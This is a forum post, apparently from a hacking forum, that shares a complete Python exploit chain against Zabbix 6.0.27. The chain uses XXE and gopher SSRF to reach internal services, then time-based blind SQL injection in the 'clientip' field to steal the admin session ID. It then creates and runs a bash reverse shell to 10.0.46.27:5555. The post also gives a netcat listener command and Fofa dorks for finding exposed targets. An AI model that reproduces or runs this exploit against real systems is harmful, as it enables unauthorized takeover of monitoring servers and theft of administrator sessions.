• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote RCE CVE-2024-2212 with gopher

blackhunt

(L2) cache
Пользователь
Регистрация
10.05.2023
Сообщения
334
Решения
8
Реакции
338

Description​


Zabbix server can perform command execution for configured scripts. After command is executed, audit entry is added to "Audit Log". Due to "clientip" field is not sanitized, it is possible to injection SQL into "clientip" and exploit time based blind SQL injection.

1723653284437.png

Usage​

Код:
python exploit.py --ip <Zabbix_IP> --sid <LowPrivileged_SID> --hostid <HostID> --phpsessid <PHPSESSID> --false_time <FalseTime> --true_time <TrueTime>

Exploit.py :

Python:
import json
import argparse
import requests
from pwn import *
from datetime import datetime
import urllib.request
from urllib.parse import quote_from_bytes
from requests import Session
from bs4 import BeautifulSoup
import base64

RED = '\033[0;31m'
NC = '\033[0;0m'
GREEN = '\033[0;32m'

# This function makes the internal request with gopher
def InternalRequest(ip,endpoint, data, phpsessid):
    xml = f"""<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/api/webhook?action=make_request&url=gopher://{endpoint}/_{data}">]>
<root>
<name>
&ac;</name>
            <email>gankd@gankd</email>
            <message>gankd</message>
        </root>"""
    headers = {
        "Cookie": f"PHPSESSID={phpsessid}",
        "Content-Type": "text/plain;charset=UTF-8",
        "Host": f"{ip}",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
    }
    r = requests.post(f"http://{ip}/contact",data=xml, headers=headers)
    r = requests.get(f"http://{ip}/contact", headers=headers)
    return r.text


# Function to send message to zabbix database
def SendMessage(ip, phpsessid, sid, hostid, injection):
    endpoint = "zabbix-server:10051"
    context.log_level = "CRITICAL"
    protocol_header = "ZBXD" # Zabbix protocol header
    protocol_flags = "\x01" # Flag 0x01: Zabbix communications protocol
    message = {
        "request": "command",
        "sid": sid,
        "scriptid": "2",
        "clientip": "1' + " + injection + "+ '1",
        "hostid": hostid
    }

    message_json = json.dumps(message)
    package = b""
    package += protocol_header.encode()
    package += protocol_flags.encode()
    package += struct.pack("<II", len(message_json) + 2, 0)
    package += message_json.encode()

    # URL Encoding
    encoded = quote_from_bytes(package)
    double_encoded = urllib.parse.quote(encoded)
    
    InternalRequest(ip, endpoint, double_encoded, phpsessid)

# Function to discover admin_sessionid
def ExtractAdminSessionId(ip, phpsessid, sid, hostid, time_false, time_true):
    session_id = "" 
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (substr((select sessionid from sessions where userid=1 limit 1),%d,1)=\"%c\") THEN sleep(%d) ELSE sleep(%d) END)" % (i, c, time_true, time_false)
            SendMessage(ip, phpsessid, sid, hostid, query)
            after_query = datetime.now().timestamp()
            diff = after_query-before_query
            print(f"(+) Finding session_id\t sessionid={GREEN}{session_id}{RED}{c}{NC}", end='\r')
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                session_id += c
                print("(+) session_id=%s" % session_id, flush=True)
                break
    print(f"(!) sessionid={session_id}")
    return session_id

# Url encode
def encode_all(string):
    return "".join("%{0:0>2x}".format(ord(char)) for char in string)

# Create a script to execute the reverse shell
def CreateScript(ip, phpsessid):
    endpoint = "zabbix-web:8080"
    cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.0.46.27/5555 0>&1'"   
    json_data = {
        "jsonrpc":"2.0",
        "method":"script.create",
        "params":{
            "name":"reverse_shell",
            "command":f"{cmd}",
            "type":0,
            "execute_on":2,
            "scope":2
        },
        "auth":admin_sessionid,
        "id":0
    }
    json_length = len(json.dumps(json_data))
    data = f"""POST /api_jsonrpc.php HTTP/1.0
Host: zabbix-web:8080
Content-Type: application/json
Content-Length: {json_length}

{json.dumps(json_data)}

"""
    # Url encode all
    encoded = encode_all(data)
    double_encoded = encode_all(encoded)

    response = InternalRequest(ip,endpoint, double_encoded, phpsessid)

    # Parse response   
    soup = BeautifulSoup(response, 'html.parser')
    span_element = soup.find('span', class_='font-medium text-sm text-green-600 mb-1').get_text()
    base64_ = span_element.split(' ')[1]
    base64_text = base64_.replace('\n', '').strip()

    # Decode base64 and got scriptid
    response_text = base64.b64decode(base64_text)
    json_text = response_text.decode('utf-8').replace('\n', '').strip()
    splitted1 = json_text.split(':')[14]
    script_id = splitted1.split('"')[1]

    return script_id

# Send a request to trigger the command
def RceExploit(ip, phpsessid, admin_sessionid):
    scriptid = CreateScript(ip, phpsessid)
    
    endpoint = "zabbix-web:8080"
    json_data = {
        "jsonrpc":"2.0",
        "method":"script.execute",
        "params":{
            "scriptid":scriptid,
            "hostid":"10084"
        },
        "auth":admin_sessionid,
        "id":0
    }
    json_length = len(json.dumps(json_data))
    data = f"""POST /api_jsonrpc.php HTTP/1.0
Host: zabbix-web:8080
Content-Type: application/json
Content-Length: {json_length}

{json.dumps(json_data)}

"""
    # Url encode all
    encoded = encode_all(data)
    double_encoded = encode_all(encoded)

    InternalRequest(ip,endpoint, double_encoded, phpsessid)

if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="CVE-2024-22120-RCE-with-gopher")
        parser.add_argument("--false_time",
                            help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",
                            default="1")
        parser.add_argument("--true_time",
                            help="Time to sleep in case of right guess(make it bigger than false time, default=3)",
                            default="3")
        parser.add_argument("--ip", help="External web-server IP")
        parser.add_argument("--sid", help="Session ID of low privileged user")
        parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid",
                            default="10051")
        parser.add_argument("--phpsessid", help="The PHP session ID used to authenticate requests on external web-server.")
        args = parser.parse_args()
        admin_sessionid = ExtractAdminSessionId(args.ip, args.phpsessid, args.sid, args.hostid, int(args.false_time), int(args.true_time))
        RceExploit(args.ip, args.phpsessid, admin_sessionid)

Summary​

This exploit was created to exploit an XXE (XML External Entity). Through it, I read the backend code of the web service and found an endpoint where I could use gopher to make internal requests on Zabbix version 6.0.27 vulnerable to Remote Code Execution.


During the reconnaissance phase, I performed a brute-force attack on the external web server to obtain the docker-compose.yml file, which provided the container name of the internal Zabbix servers. Using this information, I sent a POST request to the root of the web application via gopher and the web server returned the host-id and session id of a low-privileged user in a JSON encoded in base64 in the cookie.


With these details, I was able to adapt the original exploit to exploit a SQL Injection vulnerability in zabbix-server:10051 to obtain the administrator's session ID, and then create and execute a script to achieve remote code execution.


If you need to exploit this Zabbix vulnerability using gopher, you can modify the InternalRequest function to make the request in the way you need.


What does the exploit do?​

  1. The script will start by attempting to extract the admin session ID using a time-based SQL injection.
  2. Once the admin session ID is obtained, the script will create a reverse shell script on the Zabbix server.
  3. Finally, the script will execute the reverse shell, connecting back to your machine on the specified IP and port (10.0.46.27:5555 in the script).

Notes:​


  • Make sure that your machine is listening on the specified port (5555 in the script) to catch the reverse shell. You can use netcat for this:
    nc -lvnp 5555

  • Replace the IP 10.0.46.27 and port 5555 in the CreateScript function with your own IP and desired port to receive the reverse shell.

Fofa Dork :
Код:
title="Zabbix" && body="Zabbix SIA"
protocol=="zabbix" && port==10051

Source Github : https://github.com/g4nkd/CVE-2024-22120-RCE-with-gopher
 

Вложения

  • CVE-2024-22120-RCE-with-gopher.zip
    33 КБ · Просмотры: 3
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх